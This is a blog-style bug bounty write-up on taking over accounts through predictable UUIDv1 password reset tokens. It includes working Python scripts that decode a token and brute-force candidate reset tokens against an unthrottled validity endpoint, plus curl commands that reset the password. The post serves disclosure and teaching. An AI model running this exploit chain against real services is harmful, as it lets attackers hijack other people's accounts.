Back
1139 words
6 minutes
When Time Is the Only Secret
Cover image of When Time Is the Only Secret

Lately I’ve been working on a private bug bounty program where I found several vulnerabilities, but this one stood out to me. It was a cryptographic failure caused by the use of UUIDv1 that led to account takeover. Even though it was considered a duplicate, it was still an interesting vuln to me.

alt text

TL;DR#

The platform lets anyone mint a password reset token for any email address, the token is a UUIDv1, and a second unauthenticated endpoint will happily tell you whether a token you guess is valid. A UUIDv1 is not random. It’s mostly a timestamp with a fixed tail. So the token is a value you can reconstruct and with that we achieve account takeover.

UUIDv1 is predictable#

This is the important part, and it’s what I only really understood after reading this excellent writeup from IBM’s PTC Security team on the “sandwich attack” against UUIDv1. It’s worth reading in full, and it’s what made the rest of this click for me.

A version-1 UUID looks random, but it isn’t. It’s assembled from three pieces:

  • A timestamp. Most of those 128 bits are just the current time, measured in 100-nanosecond ticks. When a service issues its tokens one at a time, the sub-millisecond portion of that counter is simply zero. So in practice the timestamp comes down to the millisecond the server called the generator.
  • A clock sequence. A small value chosen once and then held constant for the life of the process.
  • A node. Historically the machine’s MAC address. In modern libraries it’s a random value generated once at process startup and then reused.

So two of the three pieces are fixed for the entire life of the server process. They don’t change between one token and the next. The only thing that varies from token to token is when it was generated, which means if you get the fixed pieces once, then every future token the service mints is determined by the millisecond when it was minted. And milliseconds are extremely guessable.

Getting the node and clock sequence#

Here’s the neat part you don’t have to break into anything to learn the clock sequence and node. They’re the same for every token the service produces, including tokens the service produces for you.

So you register your own account through the public signup form. The activation email lands in your own inbox, and the activation link contains a UUIDv1, a token the service generated that you’re fully entitled to see. Decode it and you’ve recovered the clock sequence and the node.

The “sandwich attack” name comes from the classic version of this. You bracket the victim’s token between two of your own (mint one token for yourself, trigger the victim’s, mint another for yourself), and the victim’s timestamp is trapped in the narrow window between your two known timestamps. In this case I didn’t even need the bracketing, because the server was kind enough to hand me the timestamp directly, as you’ll see.

The attack chain#

Three unauthenticated endpoints line up into a chain:

  1. Mint a reset token. A public endpoint accepts an email address and silently issues a fresh password reset token for that account. No captcha, no rate limit, no authentication.

  2. The oracle. A second public endpoint takes a token and tells you whether it’s a live, valid reset token, a plain yes/no. It’s not authenticated and it’s not rate limited. This is what turns “reconstruct the token” from a blind guess into a search you can actually run.

  3. Set the password. A third endpoint takes a valid token and a new password, and sets it. No further checks.

Recovering the token#

First of all, I created an account with an email I control, and I received the verification token. That verification token is a UUIDv1: e19d61c0-abc9-11f1-bcf6-e19253beae78, and from it we recover the exact values we need to mint our own tokens.

└─$ python3 -c '
import sys, datetime
u = sys.argv[1].replace("-","")
ts = ((int(u[12:16],16)&0x0fff)<<48)|(int(u[8:12],16)<<32)|int(u[0:8],16)
ms = ts//10000 - 12219292800000
print("time ", datetime.datetime.utcfromtimestamp(ms/1000).isoformat()+"Z")
print("clock_seq", u[16:20])
print("node ", u[20:])
' e19d61c0-abc9-11f1-bcf6-e19253beae78
time 2026-09-08T21:11:38.716000Z
clock_seq bcf6
node e19253beae78

After that, we send a request to reset the password for the account we want to take over. In this case I used a second account I created as the victim. When you hit the mint endpoint, the HTTP response carries a Date header. That header advertises the exact second the server handled the request, which is, to within a fraction, the same second it called the token generator.

One second is a thousand milliseconds. Combine that with the calibration from step zero, and every candidate token for that second can be rebuilt, giving a thousand possible UUIDs, one of which is real. You feed each one to the oracle until it answers “valid.”

└─$ python3 -c '
import datetime, requests, time, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CLOCK, NODE = "bcf6", "e19253beae78" # recovered in the calibration step above
DATE = datetime.datetime(2026, 9, 8, 22, 13, 25, tzinfo=datetime.timezone.utc)
def uuid_v1(ms, ns=0):
ts = (ms + 12219292800000) * 10000 + ns
return "%08x-%04x-%04x-%s-%s" % (ts & 0xffffffff, (ts >> 32) & 0xffff, ((ts >> 48) & 0x0fff) | 0x1000, CLOCK, NODE)
API = "https://<HOST>/users/api"
base = int(DATE.timestamp() * 1000)
print("server Date header:", DATE.isoformat())
print("candidate space (one advertised second): 1000")
start, hit = time.time(), None
for i, ms in enumerate(range(base, base + 1000), 1):
u = uuid_v1(ms)
if requests.get(f"{API}/users/{u}/token?type=reset", verify=False).status_code == 200:
hit = u; break
dt = time.time() - start
print(f"tested {i} candidates in {dt:.1f}s = {i/dt:.1f} req/s")
print("HIT:", hit)
'
server Date header: 2026-09-08T22:13:25+00:00
candidate space (one advertised second): 1000
tested 847 candidates in 30.9s = 27.4 req/s
HIT: 833c8760-abd2-11f1-bcf6-e19253beae78

A thousand lookups against an endpoint with no throttling is nothing. In my testing the oracle answered at roughly 27 requests per second with no 429, no slowdown, no complaint, so the real token surfaces in about half a minute, and that’s without parallelising the search, which the missing rate limit would happily allow.

Terminal window
└─$ curl -sk "https://<HOST>/users/api/users/833c8760-abd2-11f1-bcf6-e19253beae78/token?type=reset"
{"valid":true,"disclaimersAccepted":false}

Once the oracle confirms which candidate is live, you hand that token to the third endpoint with a password of your choosing.

Terminal window
└─$ curl -sk -i -X PATCH "https://<HOST>/users/api/reset-password/833c8760-abd2-11f1-bcf6-e19253beae78" \
-H 'Content-Type: application/json' \
-d '{"password":"NewPass123!","confirmPassword":"NewPass123!","privacyPolicyAccepted":true}'
HTTP/2 200

The account’s password is now whatever we set, and the takeover is complete.

Final thoughts#

It came back as a duplicate, which stung a little given how much I enjoyed pulling the thread, but duplicate means someone else saw it too, and that’s fine. The reason I wanted to write it up anyway is that it’s such a clean example of a mistake that looks safe. A UUID feels random. It has that reassuring hex-with-dashes shape we’ve all learned to read as “just a random ID.” But version 1 is a clock reading wearing a disguise, and the moment you treat a clock reading as a secret, the only thing standing between an attacker and the account is knowing what time it was, and the server will tell you that in a response header.

Author
Abderrahim Dahmani
Published
2026-09-24
License
CC BY-NC-SA 4.0